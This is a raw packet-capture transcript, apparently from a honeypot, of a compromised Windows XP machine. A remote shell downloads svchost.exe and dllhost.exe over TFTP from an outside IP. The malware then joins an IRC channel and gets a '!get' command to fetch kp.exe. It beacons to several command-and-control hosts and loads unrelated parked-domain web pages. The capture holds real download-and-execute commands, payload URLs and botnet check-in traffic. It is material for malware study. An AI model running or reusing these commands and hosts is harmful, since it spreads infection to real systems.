VICTIM:  	Microsoft Windows XP [Version 5.1.2600] 
VICTIM:  	(C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	tftp -i 175.112.215.136 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	Transfer successful: 29184 bytes in 11 seconds, 2653 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	tftp -i 175.112.215.136 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	Transfer successful: 19968 bytes in 7 seconds, 2852 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	NICK xmwpsxkqUSER w020501 . . :- 
VICTIM:  	JOIN &virtu 
ATTACKER:	:u. PRIVMSG xmwpsxkq :!get http:/yigeshabi.8800.org:2012/kp.exe 
VICTIM:  	GET /kp.exe HTTP/1.0User-Agent: DownloadHost: yigeshabi.8800.org:2012Pragma: no-cache 
ATTACKER:	GET /list.php?c=B4AC885F94224AE64DAAC6EE0346C213D049B58E0B2469F7DCEACA9F5FE9F6DDDFE10E13F3845D3386FFC45E0D4897B5778D4CBB9FE6A5FF432C&v=2&t=0.5306208 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: w.nucleardiscover.com:888Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /myck.jpg?t=0.2218897 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: russia.9966.org:2011Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /sn.php?c=9987F91D3FAF319541ACCDFC9FDAB5460398DDB8B397F03C2C4A0D485CF48CD0D1A8F413635D80AC1D20E2886B7B33D9E52F22CB2486E4C182B77CD4C16D4927DFA0FE57ABAE76E9D1EBFC86779901DEA750566B156B646202A0F9944BBEA2D9E7B2A9B762482EB113A0FD7A202008928F78AB84F5B2290E84DD056A79CF219F4F4BC4621622FF3ED8EC055502C571F1&t=0.9822809 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: w.nucleardiscover.com:888Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /sn.php?c=829CF511C8583B9FD23F281903464BB89C071F7A6044AF633D5B115449E1F9A592EBBB5C98A66A46675A0268ABBBB55F33F9D930BB190623023765CD69C5432DB2CD5FF69A9F920D6258BBC1856B1BC428DF87BA0A740F0902A0157846B3E99210455C42644EF46B00B39C0AB64F0D85C93C411F0457AA989C880A7F24861BE117076ACECAE710D1BC842E76A26B5CDFA341&t=0.0879938 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: w.nucleardiscover.com:888Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /p6.asp?MAC=00-0C-29-B8-6D-A5&Publicer=100 HTTP/1.0User-Agent: CA 0.0.0.2Host: myck.nucleardiscover.com:88 
ATTACKER:	GET /ck3.jpg?t=0.8445856 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: russia.9966.org:2011Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET / HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: buyusedpantiesonline.comConnection: Keep-Alive 
ATTACKER:	HTTP/1.1 200 OKCache-Control: privateContent-Length: 27966Content-Type: text/html; charset=utf-8Server: Microsoft-IIS/7.5X-AspNet-Version: 4.0.30319p3p: CP=\CAO PSA OUR\Set-Cookie: SessionID=d862b884-a3c5-4fc2-9350-4a834fd4eec2; path=/Set-Cookie: VisitorID=e90044fd-377e-4581-8408-06a2bfd2e611&Exp=5/24/2014 9:59:01 PM; expires=Sun, 25-May-2014 04:59:01 GMT; path=/X-Powered-By: ASP.NETDate: Wed, 25 May 2011 04:59:01 GMTConnection: keep-alive
\t
    
Welcome to buyusedpantiesonline.com
    
                       
                
                    
                
                    
                       
                    
                      
    
                                
            
        
\t                        
                    
               


















Legal Terms
\t\t 
ATTACKER:	GET /buyusedpantiesonline.com.js HTTP/1.0Accept: */*Referer: http:/buyusedpantiesonline.com/User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: buyusedpantiesonline.comConnection: Keep-AliveCookie: SessionID=d862b884-a3c5-4fc2-9350-4a834fd4eec2; VisitorID=e90044fd-377e-4581-8408-06a2bfd2e611&Exp=5/24/2014 9:59:01 PM 
ATTACKER:	GET /js/json.js?rte=1&tm=2&dn=buyusedpantiesonline.com&tid=516 HTTP/1.0Accept: */*Referer: http:/buyusedpantiesonline.com/User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: buyusedpantiesonline.comConnection: Keep-AliveCookie: SessionID=d862b884-a3c5-4fc2-9350-4a834fd4eec2; VisitorID=e90044fd-377e-4581-8408-06a2bfd2e611&Exp=5/24/2014 9:59:01 PM 
ATTACKER:	HTTP/1.1 200 OKCache-Control: privateContent-Length: 6769Content-Type: text/javascript; charset=utf-8Server: Microsoft-IIS/7.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 25 May 2011 04:59:02 GMTConnection: keep-aliveif (!this.JSON) {    this.JSON = {};}(function() {    function f(n) {        return n < 10 ? '0' + n : n;    }    if (typeof Date.prototype.toJSON !== 'function') {        Date.prototype.toJSON = function(key) {            return isFinite(this.valueOf()) ?                   this.getUTCFullYear() + '-' +                 f(this.getUTCMonth() + 1) + '-' +                 f(this.getUTCDate()) + 'T' +                 f(this.getUTCHours()) + ':' +                 f(this.getUTCMinutes()) + ':' +                 f(this.getUTCSeconds()) + 'Z' : null;        };        String.prototype.toJSON =        Number.prototype.toJSON =        Boolean.prototype.toJSON = function(key) {            return this.valueOf();        };    }    var cx = /[\\u0000\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,        escapable = /[\\\\\\\\\x00-\\x1f\\x7f-\\x9f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,        gap,        indent,        meta = {             '\\b': '\\\\b',            '\\t': '\\\\t',            '\': '\\\',            '\\f': '\\\\f',       
ATTACKER:	      '\': '\\\',            '\': '\\\\\',            '\\\\': '\\\\\\\\'        },        rep;    function quote(string) {        escapable.lastIndex = 0;        return escapable.test(string) ?            '\' + string.replace(escapable, function(a) {                var c = meta[a];                return typeof c === 'string' ? c :                    '\\\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);            }) + '\' :            '\' + string + '\';    }    function str(key, holder) {        var i,            k,            v,            length,            mind = gap,            partial,            value = holder[key];        if (value && typeof value === 'object' &&                typeof value.toJSON === 'function') {            value = value.toJSON(key);        }        if (typeof rep === 'function') {            value = rep.call(holder, key, value);        }        switch (typeof value) {            case 'string':                return quote(value);            case 'number':                return isFinite(value) ? String(value) : 'null';            case 'boolean':            case 'null':                return String(value);            case 'object':                if (!value) {                    return 'null';                }                gap += indent;                partial = [];                if (Object. 
ATTACKER:	prototype.toString.apply(value) === '[object Array]') {                    length = value.length;                    for (i = 0; i < length; i += 1) {                        partial[i] = str(i, value) || 'null';                    }                    v = partial.length === 0 ? '[]' :                    gap ? '[\' + gap +                            partial.join(',\' + gap) + '\' +                                mind + ']' :                          '[' + partial.join(',') + ']';                    gap = mind;                    return v;                }                if (rep && typeof rep === 'object') {                    length = rep.length;                    for (i = 0; i < length; i += 1) {                        k = rep[i];                        if (typeof k === 'string') {                            v = str(k, value);                            if (v) {                                partial.push(quote(k) + (gap ? ': ' : ':') + v);                            }                        }                    }                } else {                    for (k in value) {                        if (Object.hasOwnProperty.call(value, k)) {                            v = str(k, value);                            if (v) {                                partial.push(quote(k) + (gap ? ': ' : ':') + v);                            }                        }           
ATTACKER:	          }                }                v = partial.length === 0 ? '{}' :                gap ? '{\' + gap + partial.join(',\' + gap) + '\' +                        mind + '}' : '{' + partial.join(',') + '}';                gap = mind;                return v;        }    }    if (typeof JSON.stringify !== 'function') {        JSON.stringify = function(value, replacer, space) {            var i;            gap = '';            indent = '';            if (typeof space === 'number') {                for (i = 0; i < space; i += 1) {                    indent += ' ';                }            } else if (typeof space === 'string') {                indent = space;            }            rep = replacer;            if (replacer && typeof replacer !== 'function' &&                    (typeof replacer !== 'object' ||                     typeof replacer.length !== 'number')) {                throw new Error('JSON.stringify');            }            return str('', { '': value });        };    }    if (typeof JSON.parse !== 'function') {        JSON.parse = function(text, reviver) {            var j;            function walk(holder, key) {                var k, v, value = holder[key];                if (value && typeof value === 'object') {                    for (k in value) {                        if (Object.hasOwnProperty.call(value, k)) { 
ATTACKER:	                            v = walk(value, k);                            if (v !== undefined) {                                value[k] = v;                            } else {                                delete value[k];                            }                        }                    }                }                return reviver.call(holder, key, value);            }            text = String(text);            cx.lastIndex = 0;            if (cx.test(text)) {                text = text.replace(cx, function(a) {                    return '\\\\u' +                        ('0000' + a.charCodeAt(0).toString(16)).slice(-4);                });            }            if (/^[\\],:{}\\s]*\$/.test(text.replace(/\\\\(?:[\\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@').replace(/\[^\\\\\\\]*\|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g, ']').replace(/(?:^|:|,)(?:\\s*\\[)+/g, ''))) {                j = eval('(' + text + ')');                return typeof reviver === 'function' ?                    walk({ '': j }, '') : j;            }            throw new SyntaxError('JSON.parse');        };    }} ()); 
ATTACKER:	GET /sn.php?c=706E5ABEFE6E9C0311FDF4D8F3B8B00F3DA37C457A5F0394CAF87F3AB618BCE69AE3657F430397A7C1A7016C774D23CEEA2667D1E8872D05F6C2FE862EAE7C17E798D6AAEA25BE21FDC73B4106E8C31C1EE98AB73F41E9EF7BD9432EE114D8A37124607ED2F86FF0AD1EE562D2D2FD679463B9960146B592E2BBB4DBA2145CE29194F9551E2E4587FCCD86D04C8C7FFF&t=0.9479181 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: w.nucleardiscover.com:888Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /css/style.css?rte=1&tm=2&dn=buyusedpantiesonline.com&tid=516&def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3dturquoise%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%23046380%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%2393CACA%7cBdyStyl%3aSecondaryColorComplement%3d%23608383%7cBdyStyl%3aTertiaryColor%3d%23F4F0F7%7cBdyStyl%3aTertiaryColorComplement%3d%230e5fd8%7cPgHdr%3aFont%3dVerdana%7cPgHdr%3aFontSize%3d18%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%23046380%7cRelLink%3aBackgroundColor%3d%23f4f2ef%7cRelLink%3aHoverBackgroundColor%3d%23fff%7cRelLink%3aDividerColor%3d%23ddd%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0004.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0004.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23666%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontColor%3d%23008000%7cSrchBox%3aTextbo 
VICTIM:  	xWidth%3d275%7cSrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0004.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8 HTTP/1.0Accept: */*Referer: http:/buyusedpantiesonline.com/User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: buyusedpantiesonline.comConnection: Keep-AliveCookie: SessionID=d862b884-a3c5-4fc2-9350-4a834fd4eec2; VisitorID=e90044fd-377e-4581-8408-06a2bfd2e611&Exp=5/24/2014 9:59:01 PM 
ATTACKER:	GET /sn.php?c=879973975CCC4DD264888DA1377C79C6E57B3900E7C28D1A82B01D5848E681DB9DE4243E6B2BB6866600D0BD95AFE70AFC30D1678BE45D75D4E0D6AE0D8D63085F20A3DFA16EFA65E7DD641E917FCE11BA4D417C3749686E8B29325F788DA4DF1540150B8FA566F901B2FD6B0CF589010AFFCE901C4F182A5F4B07720AA8C13B4959DE74063486390D3592C126E6B63214C9&t=0.9742853 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: w.nucleardiscover.com:888Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /p6.asp?MAC=00-0C-29-B8-6D-A5&Publicer=100 HTTP/1.0User-Agent: CA 0.0.0.2Host: ck3.nucleardiscover.com:88 
ATTACKER:	GET /ck4.jpg?t=0.6709406 HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0.2600.0000; Windows NT 5.1.2600)Host: russia.9966.org:2011Connection: Keep-AlivePragma: no-cache 
ATTACKER:	GET /images/Themes/T101/buttons/0004.gif HTTP/1.0Accept: */*Referer: http:/buyusedpantiesonline.com/User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/misc/blank.gif HTTP/1.0Accept: */*Referer: http:/buyusedpantiesonline.com/User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /apps/domainpark/show_afd_ads.js HTTP/1.0Accept: */*Referer: http:/buyusedpantiesonline.com/User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: pagead2.googlesyndication.comConnection: Keep-Alive 
ATTACKER:	HTTP/1.0 200 OKLast-Modified: Thu, 19 May 2011 00:02:37 GMTContent-Type: text/javascript; charset=UTF-8Date: Tue, 24 May 2011 16:43:26 GMTExpires: Wed, 25 May 2011 16:43:26 GMTX-Content-Type-Options: nosniffContent-Disposition: attachmentServer: domainserverAge: 44141Cache-Control: public, max-age=86400(function(){var e=null,h=function(a){var b=typeof a;if(b==\object\)if(a){if(a instanceof Array)return\array\;else if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if(c==\[object Window]\)return\object\;if(c==\[object Array]\||typeof a.length==umber\&&typeof a.splice!=\undefined\&&typeof a.propertyIsEnumerable!=\undefined\&&!a.propertyIsEnumerable(\splice\))return\array\;if(c==\[object Function]\||typeof a.call!=\undefined\&&typeof a.propertyIsEnumerable!=\undefined\&&!a.propertyIsEnumerable(\call\))return\function\}else returnull\;else if(b==\function\&&typeof a.call==\undefined\)return\object\;return b};function i(a,b,c){c!=e&&c!==\\&&(a+=encodeURIComponent(b)+\=\+encodeURIComponent(c)+\&\);return a}function _google_json_callback(a){j();var b=\google_afd_ad_request_done\;if(window[b])window[b](a)}function k(a){var b=document;window._google_json_callback=_google_json_callback;b.write('